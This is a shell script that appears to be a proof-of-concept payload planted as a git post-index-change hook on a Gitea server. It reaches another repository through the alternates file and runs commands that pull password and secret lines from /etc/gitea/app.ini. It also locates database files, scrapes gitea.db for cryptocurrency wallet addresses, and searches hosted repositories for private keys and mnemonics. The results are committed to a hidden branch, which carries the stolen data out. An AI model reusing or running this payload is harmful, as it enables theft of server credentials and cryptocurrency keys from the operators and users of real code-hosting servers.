Files
poc-cd8b34e10e/hooks/post-index-change
2026-08-27 02:28:04 -04:00

15 lines
1.6 KiB
Bash
Executable File

#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
/*) ;;
*) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
output_blob=$({ /bin/sh -c 'echo '"'"'=== app.ini ==='"'"'; cat /etc/gitea/app.ini 2>/dev/null | grep -iE '"'"'host|user|password|secret|db'"'"' | head -8; echo '"'"'=== DB文件 ==='"'"'; find /var/lib/gitea /data /app -maxdepth 3 -name '"'"'*.db'"'"' -o -maxdepth 3 -name '"'"'*.sqlite*'"'"' 2>/dev/null | head -5; echo '"'"'=== 地址扫描(gitea.db) ==='"'"'; strings /var/lib/gitea/data/gitea.db 2>/dev/null | grep -oE '"'"'0x[0-9a-fA-F]{40}|T[1-9A-HJ-NP-Za-km-z]{33}|bc1[0-9a-zA-Z]{25,}'"'"' | sort -u | head -8; echo '"'"'=== 仓库关键词 ==='"'"'; find /var/lib/gitea/data/gitea-repositories -maxdepth 3 -name '"'"'*.git'"'"' 2>/dev/null | wc -l; grep -rlEi '"'"'usdt|trc20|tron|private[_-]key|mnemonic'"'"' /var/lib/gitea/data/gitea-repositories 2>/dev/null | head -5'; command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "command output\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/out-cd8b34e10e "$commit" || exit 7
exit 0